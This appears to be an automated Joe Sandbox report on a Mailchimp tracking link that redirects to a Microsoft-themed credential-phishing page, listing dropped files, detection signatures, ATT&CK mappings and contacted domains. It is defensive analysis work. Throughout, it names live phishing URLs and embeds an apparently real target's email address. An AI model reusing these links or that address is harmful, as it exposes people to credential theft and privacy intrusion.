
ID: 655612
Cookbook: browseurl.jbs
Time: 10:59:25
Date: 01/07/2022
Version: 35.0.0 Citrine
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Initial Sample
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Domains and IPs
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Behavior and APIs
Joe Sandbox View / Context
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Domains
ASNs
JA3 Fingerprints
Dropped Files

Created / dropped Files
C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic
C:\Users\user\AppData\Local\Google\Chrome\User Data\2144eb76-9988-4814-bb3c-eb1b507b70af.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\24fe8e84-07a8-48b2-9c23-033ac95a1ac6.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\405177b2-0f7d-4cc0-a1d6-ed6daf9867bb.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\4105089a-6552-48c9-b3c4-e297fdabad08.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\90794f5d-3bc7-4264-a72e-c6700a93214f.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\16448de7-8bcb-4156-82bd-e699b25fabc2.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\65663aee-0d9b-4769-92bb-037263a6287b.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\77bd5fc6-5583-47f9-a2ea-d79864a3b8d7.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\833a5906-20c8-4671-8c0b-7681c7770a6e.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\8ae7a63b-de1a-490f-a2fa-893ef24b8dba.tmp
C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State
(copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\fa5b6e79-5033-4bc0-90b7-
e3b9fbc7d5bc.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State
(copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\a04363b4-0d0b-4d00-8c82-
588863241020.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\e1885e46-a4f7-4312-880e-62bd9bf9b4af.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ed68d658-0c94-475a-a0ab-07aec225e10c.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\f211fdcc-7adc-4791-84dc-46d680fa51bb.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\f2ecfbba-9eb7-42ae-bb62-70f4df5081a4.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser
C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\bda09afe-3f78-4cad-ab4f-99f832745be2.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\d4c07509-270f-4050-a2af-d874a90cbf3f.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\f903a02f-8c44-424e-a7a6-489b9f2fd02c.tmp
C:\Users\user\AppData\Local\Temp\33bfeec9-b370-46cf-832c-3c6aa0b27512.tmp
C:\Users\user\AppData\Local\Temp\6004_270929196\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_pnacl_json
C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_for_eh_o
C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_o
C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_crtend_o
C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe
C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_libcrt_platform_a
C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_libgcc_a
C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_a
C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_dummy_a
C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_llc_nexe
C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_sz_nexe
C:\Users\user\AppData\Local\Temp\6004_270929196\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\6004_270929196\manifest.json
C:\Users\user\AppData\Local\Temp\6004_858776472\Recovery.crx3
C:\Users\user\AppData\Local\Temp\6004_858776472\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\6004_858776472\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\6004_858776472\manifest.json
C:\Users\user\AppData\Local\Temp\f206e525-44c4-415a-b8e9-b4cfd8ccda37.tmp
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\bg\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\ca\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\cs\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\da\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\de\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\el\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\en\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\en_GB\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\es\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\es_419\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\et\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\fi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\fil\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\fr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\hi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\hr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\hu\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\id\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\it\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\ja\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\ko\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\lt\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\lv\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\nb\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\nl\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\pl\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\pt_BR\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\pt_PT\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\ro\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\ru\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\sk\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\sl\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\sr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\sv\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\th\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\tr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\uk\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\vi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\zh_CN\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\zh_TW\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_metadata\verified_contents.json

Static File Info
Network Behavior

Snort IDS Alerts
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Analysis Process: chrome.exePID: 4552, Parent PID: 6004
General
File Activities

Disassembly

Copyright Joe Security LLC 2022 Page 4 of 280



Windows Analysis Report 
https://gmail.us14.list-manage.com/track/click?u=957e6b6833ddd63bbe471b4e4&id=18858b02d6&e=7ce018b90e#*giangaddo.prati@barilla.com*…

Overview

General Information

Sample URL: https://gmail.us14.list-
manage.com/track/click?
u=957e6b6833ddd63bbe4
71b4e4&...833ddd63bbe4
71b4e4&id=18858b02d6&
e=7ce018b90e#*giangadd
o.prati@barilla.com*

Analysis ID: 655612

Infos:

Detection

HTMLPhisher

Score: 80

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Antivirus / Scanner detection for sub…

Yara detected HtmlPhish10

Antivirus detection for URL or domain

Snort IDS alert for network traffic

Phishing site detected (based on log…

Phishing site detected (based on im…

URL contains potential PII (phishing…

Invalid 'forgot password' link found

Found iframes

No HTML title found

HTML body contains low number of …

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

chrome.exe (PID: 6004 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "https://gmail.us14.list-manage.com/track/click

?u=957e6b6833ddd63bbe471b4e4&id=18858b02d6&e=7ce018b90e#*giangaddo.prati@barilla.com* MD5: C139654B5C1438A95B321BB01AD63EF6)
chrome.exe (PID: 4552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-

handle=1644,9824543988290587951,10821341976103592091,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-
handle=1920 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

cleanup

⊘ No configs have been found

Source Rule Description Author Strings

68809.0.pages.csv JoeSecurity_HtmlP
hish_10

Yara detected 
HtmlPhish_10

Joe Security

⊘ No Sigma rule has matched

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Copyright Joe Security LLC 2022 Page 5 of 280



AV Detection

Phishing

Networking

Timestamp: 192.154.231.67192.168.2.5443497812013145 07/01/22-11:00:48.977390

SID: 2013145

Source Port: 443

Destination Port: 49781

Protocol: TCP

Classtype: Executable code was detected

Initial
Access

Execution Persistence
Privilege
Escalation

Defense
Evasion

Credential
Access

Discovery
Lateral
Movement

Collection Exfiltration
Command
and
Control

Network
Effects

Remote
Service
Effects

Impact

1
Drive-by
Compromis
e

Windows
Manageme
nt
Instrument
ation

Path
Interceptio
n

1
Process
Injection

3
Masqueradi
ng

OS
Credential
Dumping

System
Service
Discovery

Remote
Services

Data from
Local
System

Exfiltration
Over Other
Network
Medium

1
Encrypted
Channel

Eavesdrop
on Insecure
Network
Communic
ation

Remotely
Track
Device
Without
Authorizati
on

Modify
System
Partition

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initializatio
n Scripts

Boot or
Logon
Initializatio
n Scripts

1
Process
Injection

LSASS
Memory

Application
Window
Discovery

Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

4
Non-
Application
Layer
Protocol

Exploit SS7
to Redirect
Phone
Calls/SMS

Remotely
Wipe Data
Without
Authorizati
on

Device
Lockout

Domain
Accounts

At (Linux) Logon
Script
(Windows)

Logon
Script
(Windows)

Obfuscated
Files or
Information

Security
Account
Manager

Query
Registry

SMB/Wind
ows Admin
Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

5
Application
Layer
Protocol

Exploit SS7
to Track
Device
Location

Obtain
Device
Cloud
Backups

Delete
Device
Data

Local
Accounts

At
(Windows)

Logon
Script
(Mac)

Logon
Script
(Mac)

Binary
Padding

NTDS System
Network
Configurati
on
Discovery

Distributed
Component
Object
Model

Input
Capture

Scheduled
Transfer

3
Ingress
Tool
Transfer

SIM Card
Swap

Carrier
Billing
Fraud

Snort Signatures
ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt - Source IP: 192.154.231.67 - Destination IP: 192.168.2.5

Joe Sandbox Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Yara detected HtmlPhish10

Phishing site detected (based on logo template match)

Phishing site detected (based on image similarity)

Snort IDS alert for network traffic

Mitre Att&ck Matrix

Behavior Graph

Copyright Joe Security LLC 2022 Page 6 of 280



Behavior Graph
ID: 655612

URL: https://gmail.us14.list-man...

Startdate: 01/07/2022

Architecture: WINDOWS

Score: 80

secure.aadcdn.microsoftonline-p.com i.ibb.co 2 other IPs or domains

Snort IDS alert for
network traffic

Antivirus detection
for URL or domain

Antivirus / Scanner
detection for submitted

sample
3 other signatures

chrome.exe

15 253

        started       

192.168.2.5, 137, 443, 49416

unknown

unknown

192.168.2.1

unknown

unknown

2 other IPs or domains

C:\...\pnacl_public_x86_64_pnacl_sz_nexe, ELF

dropped

C:\...\pnacl_public_x86_64_pnacl_llc_nexe, ELF

dropped

C:\Users\user\...\pnacl_public_x86_64_ld_nexe, ELF

dropped

chrome.exe

26

        started       

shafquatarefeen.com

192.154.231.67, 443, 49781, 49782

AS40676US

United States

i.ibb.co

51.210.32.132, 443, 49799, 49822

OVHFR

France

18 other IPs or domains

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots

Thumbnails
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Source Detection Scanner Label Link

https://gmail.us14.list-manage.com/track/click?
u=957e6b6833ddd63bbe471b4e4&id=18858b02d6&e=7ce018b90e#*giangaddo.prati@barilla.com*

0% Virustotal Browse

https://gmail.us14.list-manage.com/track/click?
u=957e6b6833ddd63bbe471b4e4&id=18858b02d6&e=7ce018b90e#*giangaddo.prati@barilla.com*

0% Avira URL Cloud safe

https://gmail.us14.list-manage.com/track/click?
u=957e6b6833ddd63bbe471b4e4&id=18858b02d6&e=7ce018b90e#*giangaddo.prati@barilla.com*

100% SlashNext Credential Stealing 
type: Phishing & 
Social Engineering

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86
_64_ld_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86
_64_ld_nexe

0% ReversingLabs

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_llc_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_llc_nexe

0% ReversingLabs

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_sz_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_sz_nexe

0% ReversingLabs

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Copyright Joe Security LLC 2022 Page 8 of 280

https://www.virustotal.com/gui/url/7bd7fcf20c922823ddb613def0190606192544870791e183b71f5b8848d58819/detection/u-7bd7fcf20c922823ddb613def0190606192544870791e183b71f5b8848d58819-1653177633
https://www.metadefender.com/#!/results/file/bzIyMDQwM29LMEVDNWVzU1NUcjVMWl9yN2U/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDIwN1VUZHdoT3ZHM0QwX2tlMk51MHo/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDIwOTNRdXBKT0h5YU53TklPTDU2b3Bs/regular/analysis


⊘ No Antivirus matches

⊘ No Antivirus matches

Source Detection Scanner Label Link

https://shafquatarefeen.com/uhg.html#*giangaddo.prati@barilla.com* 100% SlashNext Credential Stealing 
type: Phishing & 
Social Engineering

https://aadcdn.msftauth.net/shared/1.0/content/images/personal_account_0f72b5950600f24e7f9a604b1
86f3945.png

0% Virustotal Browse

https://aadcdn.msftauth.net/shared/1.0/content/images/personal_account_0f72b5950600f24e7f9a604b1
86f3945.png

0% Avira URL Cloud safe

https://shafquatarefeen.com/uhg.html# 100% Avira URL Cloud phishing

https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_7916a894ebde7d29c2cc29b267f
1299f.jpg

0% Avira URL Cloud safe

https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/aad.login.min_kx1da7l2dz6nhe9kugk19a2.js
0% Avira URL Cloud safe

https://shafquatarefeen.com/favicon.ico 100% Avira URL Cloud phishing

https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico 0% URL Reputation safe

https://shafquatarefeen.com/uhg.html 100% Avira URL Cloud phishing

https://dns.google 0% URL Reputation safe

https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90
bd.svg

0% URL Reputation safe

https://trocha.com.co/gvx 0% Avira URL Cloud safe

https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_ziytf8dzt9eg1s6-
ohhleg2.css

0% Avira URL Cloud safe

https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo.png 0% Avira URL Cloud safe

https://shafquatarefeen.com/wp-includes/images/w-logo-blue-white-bg.png 100% Avira URL Cloud phishing

https://aadcdn.msftauth.net/ests/2.1/content/images/ellipsis_white_5ac590ee72bfe06a7cecfd75b588ad7
3.svg

0% Avira URL Cloud safe

https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2-
small_e58aafc980614a9cd7796bea7b5ea8f0.jpg

0% Avira URL Cloud safe

https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/jquery.3.5.min_dc940oomzau4rsu8qesnvg2.js
0% Avira URL Cloud safe

https://aadcdn.msftauth.net/shared/1.0/content/images/work_account_1963c6b1926b773986f53f844ce4
c32e.png

0% Avira URL Cloud safe

Name IP Active Malicious Antivirus Detection Reputation

stackpath.bootstrapcdn.com 104.18.10.207 true false high

cs1100.wpc.omegacdn.net 152.199.23.37 true false unknown

accounts.google.com 142.251.36.205 true false high

shafquatarefeen.com 192.154.231.67 true true unknown

cdnjs.cloudflare.com 104.17.25.14 true false high

part-0017.t-0009.fbs1-t-msedge.net 13.107.219.45 true false unknown

maxcdn.bootstrapcdn.com 104.18.10.207 true false high

trocha.com.co 69.172.198.108 true false unknown

clients.l.google.com 142.251.36.238 true false high

i.ibb.co 51.210.32.132 true false high

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Copyright Joe Security LLC 2022 Page 9 of 280

https://www.virustotal.com/gui/url/8d6280d7f954cd2c33a14a4755512c2d4f22ab8d6a8504f79bd4f4436c177d90/detection/u-8d6280d7f954cd2c33a14a4755512c2d4f22ab8d6a8504f79bd4f4436c177d90-1628262702


gmail.us14.list-manage.com unknown unknown false high

aadcdn.msftauth.net unknown unknown false unknown

clients2.google.com unknown unknown false high

secure.aadcdn.microsoftonline-p.com unknown unknown false unknown

code.jquery.com unknown unknown false high

login.microsoftonline.com unknown unknown false high

Name IP Active Malicious Antivirus Detection Reputation

Name Malicious Antivirus Detection Reputation

https://login.microsoftonline.com/logout.srf?
ct=1548343592&rver=64.4.6456.0&lc=1033&id=501392

false high

https://aadcdn.msftauth.net/shared/1.0/content/images/personal_account_0f72b5950600f24e7f9a60
4b186f3945.png

false 0%, Virustotal, Browse
Avira URL Cloud: safe

unknown

https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js false high

https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_7916a894ebde7d29c2cc29b
267f1299f.jpg

false Avira URL Cloud: safe unknown

https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/aad.login.min_kx1da7l2dz6nhe9kugk19a2.j
s

false Avira URL Cloud: safe unknown

https://shafquatarefeen.com/favicon.ico true Avira URL Cloud: phishing unknown

https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico false URL Reputation: safe unknown

https://shafquatarefeen.com/uhg.html true Avira URL Cloud: phishing unknown

https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css false high

https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370
e90bd.svg

false URL Reputation: safe unknown

https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css false high

https://shafquatarefeen.com/uhg.html#*giangaddo.prati@barilla.com* true SlashNext: Credential Stealing type: Phishing & 
Social Engineering

unknown

https://trocha.com.co/gvx false Avira URL Cloud: safe unknown

https://clients2.google.com/service/update2/crx?
os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-
64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-
US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26install
edby%3Dother%26uc%26ping%3Dr%253D-
1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby
%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1

false high

https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard false high

https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_ziytf8dzt9eg1s6-
ohhleg2.css

false Avira URL Cloud: safe unknown

https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo.png false Avira URL Cloud: safe unknown

https://shafquatarefeen.com/wp-includes/images/w-logo-blue-white-bg.png true Avira URL Cloud: phishing unknown

https://aadcdn.msftauth.net/ests/2.1/content/images/ellipsis_white_5ac590ee72bfe06a7cecfd75b588
ad73.svg

false Avira URL Cloud: safe unknown

https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.0/umd/popper.min.js false high

https://i.ibb.co/phX2vBj/0-a5dbd4393ff6a725c7e62b61df7e72f0.jpg false high

https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css false high

https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2-
small_e58aafc980614a9cd7796bea7b5ea8f0.jpg

false Avira URL Cloud: safe unknown

https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/jquery.3.5.min_dc940oomzau4rsu8qesnvg2
.js

false Avira URL Cloud: safe unknown

https://aadcdn.msftauth.net/shared/1.0/content/images/work_account_1963c6b1926b773986f53f844
ce4c32e.png

false Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

https://www.google.com/images/cleardot.gif craw_window.js.0.dr false high

https://shafquatarefeen.com/uhg.html# History Provider Cache.0.dr false Avira URL Cloud: phishing unknown

https://sandbox.google.com/payments/v4/js/integrator.j
s

craw_window.js.0.dr, manifest.json.0.dr false high

Contacted URLs

URLs from Memory and Binaries
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https://www.virustotal.com/gui/url/8d6280d7f954cd2c33a14a4755512c2d4f22ab8d6a8504f79bd4f4436c177d90/detection/u-8d6280d7f954cd2c33a14a4755512c2d4f22ab8d6a8504f79bd4f4436c177d90-1628262702


https://accounts.google.com/MergeSession craw_window.js.0.dr false high

https://www.google.com e1885e46-a4f7-4312-880e-62bd9bf9b4af.tmp.3.dr, 77b
d5fc6-5583-47f9-a2ea-d79864a3b8d7.tmp.3.dr

false high

https://accounts.google.com e1885e46-a4f7-4312-880e-62bd9bf9b4af.tmp.3.dr, 77b
d5fc6-5583-47f9-a2ea-d79864a3b8d7.tmp.3.dr

false high

https://apis.google.com e1885e46-a4f7-4312-880e-62bd9bf9b4af.tmp.3.dr, 77b
d5fc6-5583-47f9-a2ea-d79864a3b8d7.tmp.3.dr

false high

https://www.google.com/accounts/OAuthLogin?
issueuberauth=1

craw_window.js.0.dr false high

https://www-googleapis-
staging.sandbox.google.com

craw_window.js.0.dr, craw_background.js.0.dr false high

https://clients2.google.com e1885e46-a4f7-4312-880e-62bd9bf9b4af.tmp.3.dr, 77b
d5fc6-5583-47f9-a2ea-d79864a3b8d7.tmp.3.dr

false high

https://dns.google e1885e46-a4f7-4312-880e-62bd9bf9b4af.tmp.3.dr, a04
363b4-0d0b-4d00-8c82-588863241020.tmp.3.dr, 
fa5b6e79-5033-4bc0-90b7-e3b9fbc7d5bc.tmp.3.dr, 
77bd5fc6-5583-47f9-a2ea-d79864a3b8d7.tmp.3.dr

false URL Reputation: safe unknown

https://github.com/google/closure-
library/wiki/goog.module:-an-ES6-module-like-
alternative-to-goog.p

craw_window.js.0.dr, craw_background.js.0.dr false high

https://www.google.com/intl/en-
US/chrome/blank.html

craw_background.js.0.dr false high

https://ogs.google.com e1885e46-a4f7-4312-880e-62bd9bf9b4af.tmp.3.dr, 77b
d5fc6-5583-47f9-a2ea-d79864a3b8d7.tmp.3.dr

false high

https://payments.google.com/payments/v4/js/integrator
.js

craw_window.js.0.dr, manifest.json.0.dr false high

https://chromium.googlesource.com/a/native_client/pn
acl-llvm.git

pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr false high

https://www.google.com/images/x2.gif craw_window.js.0.dr false high

llvm.org/): pnacl_public_x86_64_pnacl_sz_nexe.0.dr, pnacl_publ
ic_x86_64_pnacl_llc_nexe.0.dr

false high

https://www.google.com/images/dot2.gif craw_window.js.0.dr false high

https://code.google.com/p/nativeclient/issues/entry%s:
pnacl_public_x86_64_ld_nexe.0.dr false high

https://code.google.com/p/nativeclient/issues/entry
pnacl_public_x86_64_ld_nexe.0.dr false high

https://clients2.googleusercontent.com e1885e46-a4f7-4312-880e-62bd9bf9b4af.tmp.3.dr, 77b
d5fc6-5583-47f9-a2ea-d79864a3b8d7.tmp.3.dr

false high

https://www.google.com/ manifest.json.0.dr false high

https://chromium.googlesource.com/a/native_client/pn
acl-clang.git

pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr false high

https://clients2.google.com/service/update2/crx manifest.json1.0.dr, manifest.json.0.dr false high

Name Source Malicious Antivirus Detection Reputation

World Map of Contacted IPs
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No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

104.18.10.207 stackpath.bootstrapcdn.c
om

